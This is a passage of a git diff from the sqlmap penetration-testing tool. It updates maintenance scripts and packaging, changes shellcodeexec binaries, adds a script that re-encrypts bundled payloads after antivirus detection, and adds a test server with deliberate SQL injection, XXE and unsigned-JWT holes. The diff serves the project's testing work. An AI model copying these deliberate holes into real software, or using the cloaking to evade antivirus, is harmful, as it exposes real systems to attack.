retVal.encode("utf8") - while True: - match = re.search(INVALID_UNICODE_CHAR_REGEX, retVal) - if match: - retVal = retVal.replace(match.group("result"), chr(ord(binascii.unhexlify(match.group("result").lstrip("\\?"))))) - else: - break - - elif isinstance(value, (list, tuple)): - for i in xrange(len(value)): - retVal[i] = safechardecode(value[i]) - - return retVal - -def main(): - usage = '%s -i [-o ]' % sys.argv[0] - parser = OptionParser(usage=usage, version='0.1') - - try: - parser.add_option('-i', dest='inputFile', help='Input file') - parser.add_option('-o', dest='outputFile', help='Output file') - - (args, _) = parser.parse_args() - - if not args.inputFile: - parser.error('Missing the input file, -h for help') - - except (OptionError, TypeError), e: - parser.error(e) - - if not os.path.isfile(args.inputFile): - print 'ERROR: the provided input file \'%s\' is not a regular file' % args.inputFile - sys.exit(1) - - f = open(args.inputFile, 'r') - data = f.read() - f.close() - - if not args.outputFile: - args.outputFile = args.inputFile + '.bin' - - f = open(args.outputFile, 'wb') - f.write(safechardecode(data)) - f.close() - -if __name__ == '__main__': - main() diff --git a/extra/shellcodeexec/linux/shellcodeexec.x32_ b/extra/shellcodeexec/linux/shellcodeexec.x32_ index ec62f230397..c0857d971f5 100644 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x32_ and b/extra/shellcodeexec/linux/shellcodeexec.x32_ differ diff --git a/extra/shellcodeexec/linux/shellcodeexec.x64_ b/extra/shellcodeexec/linux/shellcodeexec.x64_ index 10e8fea3d38..13ef7522987 100644 Binary files a/extra/shellcodeexec/linux/shellcodeexec.x64_ and b/extra/shellcodeexec/linux/shellcodeexec.x64_ differ diff --git a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ index c4204cce6a9..515453c0e01 100644 Binary files a/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ and b/extra/shellcodeexec/windows/shellcodeexec.x32.exe_ differ diff --git a/extra/shutils/autocompletion.sh b/extra/shutils/autocompletion.sh new file mode 100755 index 00000000000..edaccd73b62 --- /dev/null +++ b/extra/shutils/autocompletion.sh @@ -0,0 +1,9 @@ +#/usr/bin/env bash + +# source ./extra/shutils/autocompletion.sh + +DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )" +WORDLIST=`python "$DIR/../../sqlmap.py" -hh | grep -Eo '\s\--?\w[^ =,]*' | grep -vF '..' | paste -sd "" -` + +complete -W "$WORDLIST" sqlmap +complete -W "$WORDLIST" ./sqlmap.py diff --git a/extra/shutils/blanks.sh b/extra/shutils/blanks.sh index dc91d6b1f60..3ba88a266ac 100755 --- a/extra/shutils/blanks.sh +++ b/extra/shutils/blanks.sh @@ -1,7 +1,7 @@ #!/bin/bash -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission # Removes trailing spaces from blank lines inside project files find . -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \; diff --git a/extra/shutils/drei.sh b/extra/shutils/drei.sh new file mode 100755 index 00000000000..c334b972e84 --- /dev/null +++ b/extra/shutils/drei.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# Stress test against Python3(.14) + +for i in $(find . -iname "*.py" | grep -v __init__); do PYTHONWARNINGS=all python3.14 -m compileall $i | sed 's/Compiling/Checking/g'; done +source `dirname "$0"`"/junk.sh" diff --git a/extra/shutils/duplicates.py b/extra/shutils/duplicates.py old mode 100644 new mode 100755 index eac95ccf822..5de6e357e57 --- a/extra/shutils/duplicates.py +++ b/extra/shutils/duplicates.py @@ -1,27 +1,30 @@ #!/usr/bin/env python -# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission # Removes duplicate entries in wordlist like files +from __future__ import print_function + import sys -if len(sys.argv) > 0: - items = list() +if __name__ == "__main__": + if len(sys.argv) > 1: + items = list() - with open(sys.argv[1], 'r') as f: - for item in f.readlines(): - item = item.strip() - try: - str.encode(item) - if item in items: - if item: - print item - else: - items.append(item) - except: - pass + with open(sys.argv[1], 'r') as f: + for item in f: + item = item.strip() + try: + str.encode(item) + if item in items: + if item: + print(item) + else: + items.append(item) + except: + pass - with open(sys.argv[1], 'w+') as f: - f.writelines("\n".join(items)) + with open(sys.argv[1], 'w+') as f: + f.writelines("\n".join(items)) diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh new file mode 100755 index 00000000000..544ccf12163 --- /dev/null +++ b/extra/shutils/junk.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null +find . -name "*.pyc" -exec rm -f {} \; &>/dev/null diff --git a/extra/shutils/newlines.py b/extra/shutils/newlines.py new file mode 100644 index 00000000000..fe28a35ba99 --- /dev/null +++ b/extra/shutils/newlines.py @@ -0,0 +1,30 @@ +#! /usr/bin/env python + +from __future__ import print_function + +import os +import sys + +def check(filepath): + if filepath.endswith(".py"): + content = open(filepath, "rb").read() + pattern = "\n\n\n".encode("ascii") + + if pattern in content: + index = content.find(pattern) + print(filepath, repr(content[index - 30:index + 30])) + +if __name__ == "__main__": + try: + BASE_DIRECTORY = sys.argv[1] + except IndexError: + print("no directory specified, defaulting to current working directory") + BASE_DIRECTORY = os.getcwd() + + print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY) + for root, dirs, files in os.walk(BASE_DIRECTORY): + if any(_ in root for _ in ("extra", "thirdparty")): + continue + for name in files: + filepath = os.path.join(root, name) + check(filepath) diff --git a/extra/shutils/pep8.sh b/extra/shutils/pep8.sh deleted file mode 100755 index 7abe562b5a0..00000000000 --- a/extra/shutils/pep8.sh +++ /dev/null @@ -1,7 +0,0 @@ -#!/bin/bash - -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -# Runs pep8 on all python files (prerequisite: apt-get install pep8) -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pep8 '{}' \; diff --git a/extra/shutils/postcommit-hook.sh b/extra/shutils/postcommit-hook.sh new file mode 100755 index 00000000000..07d91a222b7 --- /dev/null +++ b/extra/shutils/postcommit-hook.sh @@ -0,0 +1,34 @@ +#!/bin/bash + +: ' +cat > .git/hooks/post-commit << EOF +#!/bin/bash + +source ./extra/shutils/postcommit-hook.sh +EOF + +chmod +x .git/hooks/post-commit +' + +SETTINGS="../../lib/core/settings.py" +PYPI="../../extra/shutils/pypi.sh" + +declare -x SCRIPTPATH="${0}" + +FULLPATH=${SCRIPTPATH%/*}/$SETTINGS + +if [ -f $FULLPATH ] +then + LINE=$(grep -o ${FULLPATH} -e 'VERSION = "[0-9.]*"') + declare -a LINE + NEW_TAG=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); print '.'.join(_[:-1]) if len(_) == 4 and _[-1] == '0' else ''" "$LINE") + if [ -n "$NEW_TAG" ] + then + #git commit -am "Automatic monthly tagging" + echo "Creating new tag ${NEW_TAG}" + git tag $NEW_TAG + git push origin $NEW_TAG + echo "Going to push PyPI package" + /bin/bash ${SCRIPTPATH%/*}/$PYPI + fi +fi diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh new file mode 100755 index 00000000000..e82f47c46d4 --- /dev/null +++ b/extra/shutils/precommit-hook.sh @@ -0,0 +1,37 @@ +#!/bin/bash + +: ' +cat > .git/hooks/pre-commit << EOF +#!/bin/bash + +source ./extra/shutils/precommit-hook.sh +EOF + +chmod +x .git/hooks/pre-commit +' + +PROJECT="../../" +SETTINGS="../../lib/core/settings.py" + +declare -x SCRIPTPATH="${0}" + +PROJECT_FULLPATH=${SCRIPTPATH%/*}/$PROJECT +SETTINGS_FULLPATH=${SCRIPTPATH%/*}/$SETTINGS + +git diff $SETTINGS_FULLPATH | grep "VERSION =" > /dev/null && exit 0 + +if [ -f $SETTINGS_FULLPATH ] +then + LINE=$(grep -o ${SETTINGS_FULLPATH} -e '^VERSION = "[0-9.]*"') + declare -a LINE + INCREMENTED=$(python -c "import re, sys, time; version = re.search('\"([0-9.]*)\"', sys.argv[1]).group(1); _ = version.split('.'); _.extend([0] * (4 - len(_))); _[-1] = str(int(_[-1]) + 1); month = str(time.gmtime().tm_mon); _[-1] = '0' if _[-2] != month else _[-1]; _[-2] = month; print sys.argv[1].replace(version, '.'.join(_))" "$LINE") + if [ -n "$INCREMENTED" ] + then + sed -i "s/${LINE}/${INCREMENTED}/" $SETTINGS_FULLPATH + echo "Updated ${INCREMENTED} in ${SETTINGS_FULLPATH}" + else + echo "Something went wrong in VERSION increment" + exit 1 + fi + git add "$SETTINGS_FULLPATH" +fi diff --git a/extra/shutils/pycodestyle.sh b/extra/shutils/pycodestyle.sh new file mode 100755 index 00000000000..8b3f0121f0f --- /dev/null +++ b/extra/shutils/pycodestyle.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# Runs pycodestyle on all python files (prerequisite: pip install pycodestyle) +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pycodestyle --ignore=E501,E302,E305,E722,E402 '{}' \; diff --git a/extra/shutils/pydiatra.sh b/extra/shutils/pydiatra.sh new file mode 100755 index 00000000000..20c62373daf --- /dev/null +++ b/extra/shutils/pydiatra.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission + +# Runs py3diatra on all python files (prerequisite: pip install pydiatra) +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec py3diatra '{}' \; | grep -v bare-except diff --git a/extra/shutils/pyflakes.sh b/extra/shutils/pyflakes.sh old mode 100644 new mode 100755 index 815b98e7c23..cbe37a7a0a8 --- a/extra/shutils/pyflakes.sh +++ b/extra/shutils/pyflakes.sh @@ -1,7 +1,7 @@ #!/bin/bash -# Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +# See the file 'LICENSE' for copying permission # Runs pyflakes on all python files (prerequisite: apt-get install pyflakes) -find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes '{}' \; +find . -wholename "./thirdparty" -prune -o -type f -iname "*.py" -exec pyflakes3 '{}' \; | grep -v "redefines '_'" diff --git a/extra/shutils/pylint.py b/extra/shutils/pylint.py deleted file mode 100644 index 440f638a6d6..00000000000 --- a/extra/shutils/pylint.py +++ /dev/null @@ -1,50 +0,0 @@ -#! /usr/bin/env python - -# Runs pylint on all python scripts found in a directory tree -# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html - -import os -import re -import sys - -total = 0.0 -count = 0 - -__RATING__ = False - -def check(module): - global total, count - - if module[-3:] == ".py": - - print "CHECKING ", module - pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r') - for line in pout: - if re.match("E....:.", line): - print line - if __RATING__ and "Your code has been rated at" in line: - print line - score = re.findall("\d.\d\d", line)[0] - total += float(score) - count += 1 - -if __name__ == "__main__": - try: - print sys.argv - BASE_DIRECTORY = sys.argv[1] - except IndexError: - print "no directory specified, defaulting to current working directory" - BASE_DIRECTORY = os.getcwd() - - print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY - for root, dirs, files in os.walk(BASE_DIRECTORY): - if any(_ in root for _ in ("extra", "thirdparty")): - continue - for name in files: - filepath = os.path.join(root, name) - check(filepath) - - if __RATING__: - print "==" * 50 - print "%d modules found" % count - print "AVERAGE SCORE = %.02f" % (total / count) diff --git a/extra/shutils/pypi.sh b/extra/shutils/pypi.sh new file mode 100755 index 00000000000..dd9ed154894 --- /dev/null +++ b/extra/shutils/pypi.sh @@ -0,0 +1,196 @@ +#!/bin/bash +set -euo pipefail +IFS=$'\n\t' + +if [ ! -f ~/.pypirc ]; then + echo "File ~/.pypirc is missing" + exit 1 +fi + +declare -x SCRIPTPATH="${0}" +SETTINGS="${SCRIPTPATH%/*}/../../lib/core/settings.py" +VERSION=$(cat $SETTINGS | grep -E "^VERSION =" | cut -d '"' -f 2 | cut -d '.' -f 1-3) +TYPE=pip +TMP_DIR="$(mktemp -d -t pypi.XXXXXXXX)" +cleanup() { rm -rf -- "${TMP_DIR:?}"; } +trap cleanup EXIT +cd "$TMP_DIR" +cat > "$TMP_DIR/setup.py" << EOF +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from setuptools import setup, find_packages + +setup( + name='sqlmap', + version='$VERSION', + description='Automatic SQL injection and database takeover tool', + long_description=open('README.rst').read(), + long_description_content_type='text/x-rst', + author='Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar', + author_email='bernardo@sqlmap.org, miroslav@sqlmap.org', + url='https://sqlmap.org', + project_urls={ + 'Documentation': 'https://github.com/sqlmapproject/sqlmap/wiki', + 'Source': 'https://github.com/sqlmapproject/sqlmap/', + 'Tracker': 'https://github.com/sqlmapproject/sqlmap/issues', + }, + download_url='https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip', + license='GNU General Public License v2 (GPLv2)', + packages=['sqlmap'], + package_dir={'sqlmap':'sqlmap'}, + include_package_data=True, + zip_safe=False, + # https://pypi.python.org/pypi?%3Aaction=list_classifiers + classifiers=[ + 'Development Status :: 5 - Production/Stable', + 'License :: OSI Approved :: GNU General Public License v2 (GPLv2)', + 'Natural Language :: English', + 'Operating System :: OS Independent', + 'Programming Language :: Python', + 'Environment :: Console', + 'Topic :: Database', + 'Topic :: Security', + ], + entry_points={ + 'console_scripts': [ + 'sqlmap = sqlmap.sqlmap:main', + ], + }, +) +EOF +cat > "$TMP_DIR/setup.cfg" << "EOF" +[bdist_wheel] +universal = 1 +EOF +wget "https://github.com/sqlmapproject/sqlmap/archive/$VERSION.zip" -O sqlmap.zip +unzip sqlmap.zip +rm sqlmap.zip +mv "sqlmap-$VERSION" sqlmap +cat > sqlmap/__init__.py << EOF +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import os +import sys + +sys.dont_write_bytecode = True +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +EOF +cat > README.rst << "EOF" +sqlmap +====== + +|Python 2.7|3.x| |License| |X| + +sqlmap is an open source penetration testing tool that automates the +process of detecting and exploiting SQL injection flaws and taking over +of database servers. It comes with a powerful detection engine, many +niche features for the ultimate penetration tester and a broad range of +switches lasting from database fingerprinting, over data fetching from +the database, to accessing the underlying file system and executing +commands on the operating system via out-of-band connections. + +Screenshots +----------- + +.. figure:: https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png + :alt: Screenshot + + +You can visit the `collection of +screenshots `__ +demonstrating some of features on the wiki. + +Installation +------------ + +You can use pip to install and/or upgrade the sqlmap to latest (monthly) tagged version with: :: + + pip install --upgrade sqlmap + +Alternatively, you can download the latest tarball by clicking +`here `__ or +latest zipball by clicking +`here `__. + +If you prefer fetching daily updates, you can download sqlmap by cloning the +`Git `__ repository: + +:: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap works out of the box with +`Python `__ version **2.7** and +**3.x** on any platform. + +Usage +----- + +To get a list of basic options and switches use: + +:: + + sqlmap -h + +To get a list of all options and switches use: + +:: + + sqlmap -hh + +You can find a sample run `here `__. To +get an overview of sqlmap capabilities, list of supported features and +description of all options and switches, along with examples, you are +advised to consult the `user's +manual `__. + +Links +----- + +- Homepage: https://sqlmap.org +- Download: + `.tar.gz `__ + or `.zip `__ +- Commits RSS feed: + https://github.com/sqlmapproject/sqlmap/commits/master.atom +- Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +- User's manual: https://github.com/sqlmapproject/sqlmap/wiki +- Frequently Asked Questions (FAQ): + https://github.com/sqlmapproject/sqlmap/wiki/FAQ +- X: https://x.com/sqlmap +- Demos: http://www.youtube.com/user/inquisb/videos +- Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + +.. |Python 2.7|3.x| image:: https://img.shields.io/badge/python-2.7|3.x-yellow.svg + :target: https://www.python.org/ +.. |License| image:: https://img.shields.io/badge/license-GPLv2-red.svg + :target: https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE +.. |X| image:: https://img.shields.io/badge/x-@sqlmap-blue.svg + :target: https://x.com/sqlmap + +.. pandoc --from=markdown --to=rst --output=README.rst sqlmap/README.md +.. http://rst.ninjs.org/ +EOF +sed -i "s/^VERSION =.*/VERSION = \"$VERSION\"/g" sqlmap/lib/core/settings.py +sed -i "s/^TYPE =.*/TYPE = \"$TYPE\"/g" sqlmap/lib/core/settings.py +: > MANIFEST.in +while IFS= read -r -d '' file; do + case "$file" in + *.git|*.yml) continue ;; + esac + echo "include $file" >> MANIFEST.in +done < <(find sqlmap -type f -print0) +python setup.py sdist bdist_wheel +twine check dist/* +twine upload --config-file=~/.pypirc dist/* +rm -rf "$TMP_DIR" diff --git a/extra/shutils/recloak.sh b/extra/shutils/recloak.sh new file mode 100755 index 00000000000..557ea51d96f --- /dev/null +++ b/extra/shutils/recloak.sh @@ -0,0 +1,16 @@ +#!/bin/bash + +# NOTE: this script is for dev usage after AV something something + +DIR=$(cd -P -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd -P) + +cd $DIR/../.. +for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -d -i $file; done + +cd $DIR/../cloak +sed -i 's/KEY = .*/KEY = b"'`python -c 'import random; import string; print("".join(random.sample(string.ascii_letters + string.digits, 16)))'`'"/g' cloak.py + +cd $DIR/../.. +for file in $(find -regex ".*\.[a-z]*_" -type f | grep -v wordlist); do python extra/cloak/cloak.py -i `echo $file | sed 's/_$//g'`; done + +git clean -f > /dev/null diff --git a/extra/shutils/regressiontest.py b/extra/shutils/regressiontest.py deleted file mode 100755 index 41571443044..00000000000 --- a/extra/shutils/regressiontest.py +++ /dev/null @@ -1,165 +0,0 @@ -#!/usr/bin/env python - -# Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission - -import codecs -import inspect -import os -import re -import smtplib -import subprocess -import sys -import time -import traceback - -from email.mime.multipart import MIMEMultipart -from email.mime.text import MIMEText - -sys.path.append(os.path.normpath("%s/../../" % os.path.dirname(inspect.getfile(inspect.currentframe())))) - -from lib.core.revision import getRevisionNumber - -START_TIME = time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) -SQLMAP_HOME = "/opt/sqlmap" -REVISION = getRevisionNumber() - -SMTP_SERVER = "127.0.0.1" -SMTP_PORT = 25 -SMTP_TIMEOUT = 30 -FROM = "regressiontest@sqlmap.org" -#TO = "dev@sqlmap.org" -TO = ["bernardo.damele@gmail.com", "miroslav.stampar@gmail.com"] -SUBJECT = "regression test started on %s using revision %s" % (START_TIME, REVISION) -TARGET = "debian" - -def prepare_email(content): - global FROM - global TO - global SUBJECT - - msg = MIMEMultipart() - msg["Subject"] = SUBJECT - msg["From"] = FROM - msg["To"] = TO if isinstance(TO, basestring) else ",".join(TO) - - msg.attach(MIMEText(content)) - - return msg - -def send_email(msg): - global SMTP_SERVER - global SMTP_PORT - global SMTP_TIMEOUT - - try: - s = smtplib.SMTP(host=SMTP_SERVER, port=SMTP_PORT, timeout=SMTP_TIMEOUT) - s.sendmail(FROM, TO, msg.as_string()) - s.quit() - # Catch all for SMTP exceptions - except smtplib.SMTPException, e: - print "Failure to send email: %s" % str(e) - -def failure_email(msg): - msg = prepare_email(msg) - send_email(msg) - sys.exit(1) - -def main(): - global SUBJECT - - content = "" - test_counts = [] - attachments = {} - - updateproc = subprocess.Popen("cd /opt/sqlmap/ ; python /opt/sqlmap/sqlmap.py --update", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) - stdout, stderr = updateproc.communicate() - - if stderr: - failure_email("Update of sqlmap failed with error:\n\n%s" % stderr) - - regressionproc = subprocess.Popen("python /opt/sqlmap/sqlmap.py --live-test", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, close_fds=False) - stdout, stderr = regressionproc.communicate() - - if stderr: - failure_email("Execution of regression test failed with error:\n\n%s" % stderr) - - failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout, re.M) - - for failed_test in failed_tests: - title = failed_test[0] - test_count = int(failed_test[1]) - parse = failed_test[3] if failed_test[3] else None - output_folder = failed_test[4] - traceback = False if failed_test[5] == "False" else bool(failed_test[5]) - detected = False if failed_test[6] else True - - test_counts.append(test_count) - - console_output_file = os.path.join(output_folder, "console_output") - log_file = os.path.join(output_folder, TARGET, "log") - traceback_file = os.path.join(output_folder, "traceback") - - if os.path.exists(console_output_file): - console_output_fd = codecs.open(console_output_file, "rb", "utf8") - console_output = console_output_fd.read() - console_output_fd.close() - attachments[test_count] = str(console_output) - - if os.path.exists(log_file): - log_fd = codecs.open(log_file, "rb", "utf8") - log = log_fd.read() - log_fd.close() - - if os.path.exists(traceback_file): - traceback_fd = codecs.open(traceback_file, "rb", "utf8") - traceback = traceback_fd.read() - traceback_fd.close() - - content += "Failed test case '%s' (#%d)" % (title, test_count) - - if parse: - content += " at parsing: %s:\n\n" % parse - content += "### Log file:\n\n" - content += "%s\n\n" % log - elif not detected: - content += " - SQL injection not detected\n\n" - else: - content += "\n\n" - - if traceback: - content += "### Traceback:\n\n" - content += "%s\n\n" % str(traceback) - - content += "#######################################################################\n\n" - - end_string = "Regression test finished at %s" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime()) - - if content: - content += end_string - SUBJECT = "Failed %s (%s)" % (SUBJECT, ", ".join("#%d" % count for count in test_counts)) - - msg = prepare_email(content) - - for test_count, attachment in attachments.items(): - attachment = MIMEText(attachment) - attachment.add_header("Content-Disposition", "attachment", filename="test_case_%d_console_output.txt" % test_count) - msg.attach(attachment) - - send_email(msg) - else: - SUBJECT = "Successful %s" % SUBJECT - msg = prepare_email("All test cases were successful\n\n%s" % end_string) - send_email(msg) - -if __name__ == "__main__": - log_fd = open("/tmp/sqlmapregressiontest.log", "wb") - log_fd.write("Regression test started at %s\n" % START_TIME) - - try: - main() - except Exception, e: - log_fd.write("An exception has occurred:\n%s" % str(traceback.format_exc())) - - log_fd.write("Regression test finished at %s\n\n" % time.strftime("%H:%M:%S %d-%m-%Y", time.gmtime())) - log_fd.close() diff --git a/extra/shutils/strip.sh b/extra/shutils/strip.sh new file mode 100755 index 00000000000..0fa81ef62f9 --- /dev/null +++ b/extra/shutils/strip.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +# References: http://www.thegeekstuff.com/2012/09/strip-command-examples/ +# http://www.muppetlabs.com/~breadbox/software/elfkickers.html +# https://ptspts.blogspot.hr/2013/12/how-to-make-smaller-c-and-c-binaries.html + +# https://github.com/BR903/ELFkickers/tree/master/sstrip +# https://www.ubuntuupdates.org/package/core/cosmic/universe/updates/postgresql-server-dev-10 + +# For example: +# python ../../../../../extra/cloak/cloak.py -d -i lib_postgresqludf_sys.so_ +# ../../../../../extra/shutils/strip.sh lib_postgresqludf_sys.so +# python ../../../../../extra/cloak/cloak.py -i lib_postgresqludf_sys.so +# rm lib_postgresqludf_sys.so + +strip -S --strip-unneeded --remove-section=.note.gnu.gold-version --remove-section=.comment --remove-section=.note --remove-section=.note.gnu.build-id --remove-section=.note.ABI-tag $* +sstrip $* + diff --git a/extra/sqlharvest/__init__.py b/extra/sqlharvest/__init__.py deleted file mode 100644 index 8d7bcd8f0a1..00000000000 --- a/extra/sqlharvest/__init__.py +++ /dev/null @@ -1,8 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -pass diff --git a/extra/sqlharvest/sqlharvest.py b/extra/sqlharvest/sqlharvest.py deleted file mode 100644 index 75dae50937d..00000000000 --- a/extra/sqlharvest/sqlharvest.py +++ /dev/null @@ -1,141 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import cookielib -import re -import socket -import sys -import urllib -import urllib2 -import ConfigParser - -from operator import itemgetter - -TIMEOUT = 10 -CONFIG_FILE = 'sqlharvest.cfg' -TABLES_FILE = 'tables.txt' -USER_AGENT = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)' -SEARCH_URL = 'http://www.google.com/m?source=mobileproducts&dc=gorganic' -MAX_FILE_SIZE = 2 * 1024 * 1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it -QUERY = 'CREATE TABLE ext:sql' -REGEX_URLS = r';u=([^"]+?)&q=' -REGEX_RESULT = r'(?i)CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P[^\(;]+)' - -def main(): - tables = dict() - cookies = cookielib.CookieJar() - cookie_processor = urllib2.HTTPCookieProcessor(cookies) - opener = urllib2.build_opener(cookie_processor) - opener.addheaders = [("User-Agent", USER_AGENT)] - - conn = opener.open(SEARCH_URL) - page = conn.read() # set initial cookie values - - config = ConfigParser.ConfigParser() - config.read(CONFIG_FILE) - - if not config.has_section("options"): - config.add_section("options") - if not config.has_option("options", "index"): - config.set("options", "index", "0") - - i = int(config.get("options", "index")) - - try: - with open(TABLES_FILE, 'r') as f: - for line in f.xreadlines(): - if len(line) > 0 and ',' in line: - temp = line.split(',') - tables[temp[0]] = int(temp[1]) - except: - pass - - socket.setdefaulttimeout(TIMEOUT) - - files, old_files = None, None - try: - while True: - abort = False - old_files = files - files = [] - - try: - conn = opener.open("%s&q=%s&start=%d&sa=N" % (SEARCH_URL, QUERY.replace(' ', '+'), i * 10)) - page = conn.read() - for match in re.finditer(REGEX_URLS, page): - files.append(urllib.unquote(match.group(1))) - if len(files) >= 10: - break - abort = (files == old_files) - - except KeyboardInterrupt: - raise - - except Exception, msg: - print msg - - if abort: - break - - sys.stdout.write("\n---------------\n") - sys.stdout.write("Result page #%d\n" % (i + 1)) - sys.stdout.write("---------------\n") - - for sqlfile in files: - print sqlfile - - try: - req = urllib2.Request(sqlfile) - response = urllib2.urlopen(req) - - if "Content-Length" in response.headers: - if int(response.headers.get("Content-Length")) > MAX_FILE_SIZE: - continue - - page = response.read() - found = False - counter = 0 - - for match in re.finditer(REGEX_RESULT, page): - counter += 1 - table = match.group("result").strip().strip("`\"'").replace('"."', ".").replace("].[", ".").strip('[]') - - if table and not any(_ in table for _ in ('>', '<', '--', ' ')): - found = True - sys.stdout.write('*') - - if table in tables: - tables[table] += 1 - else: - tables[table] = 1 - if found: - sys.stdout.write("\n") - - except KeyboardInterrupt: - raise - - except Exception, msg: - print msg - - else: - i += 1 - - except KeyboardInterrupt: - pass - - finally: - with open(TABLES_FILE, 'w+') as f: - tables = sorted(tables.items(), key=itemgetter(1), reverse=True) - for table, count in tables: - f.write("%s,%d\n" % (table, count)) - - config.set("options", "index", str(i + 1)) - with open(CONFIG_FILE, 'w+') as f: - config.write(f) - -if __name__ == "__main__": - main() diff --git a/extra/vulnserver/__init__.py b/extra/vulnserver/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/extra/vulnserver/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py new file mode 100644 index 00000000000..5962545bdff --- /dev/null +++ b/extra/vulnserver/vulnserver.py @@ -0,0 +1,1449 @@ +#!/usr/bin/env python + +""" +vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes) + +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import print_function + +import base64 +import hashlib +import hmac +import json +import os +import random +import re +import sqlite3 +import string +import sys +import tempfile +import threading +import time +import traceback + +PY3 = sys.version_info >= (3, 0) +UNICODE_ENCODING = "utf-8" +DEBUG = False + +# A benign file with random content/name that the XXE endpoint can disclose via a file:// +# external entity, so '--xxe --file-read' has a target in the vuln-test. Randomized (never a +# static literal) to match sqlmap's below-the-radar convention, so nothing here becomes a +# blacklistable signature. In-process server, so callers read these same values. +XXE_READ_MARKER = "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(20)) +XXE_READ_FILE = os.path.join(tempfile.gettempdir(), "%s.txt" % "".join(random.choice(string.ascii_lowercase) for _ in range(12))) +try: + with open(XXE_READ_FILE, "w") as _f: + _f.write(XXE_READ_MARKER + "\n") +except (IOError, OSError): + pass + +# Self-contained JSON Web Token forge/parse for the '/jwt' endpoint, so '--jwt' has a live target in the +# vuln-test. The signing secret is a common one (crackable from the shipped wordlist), the endpoint accepts +# unsigned 'alg':'none' tokens (VULN) and reflects 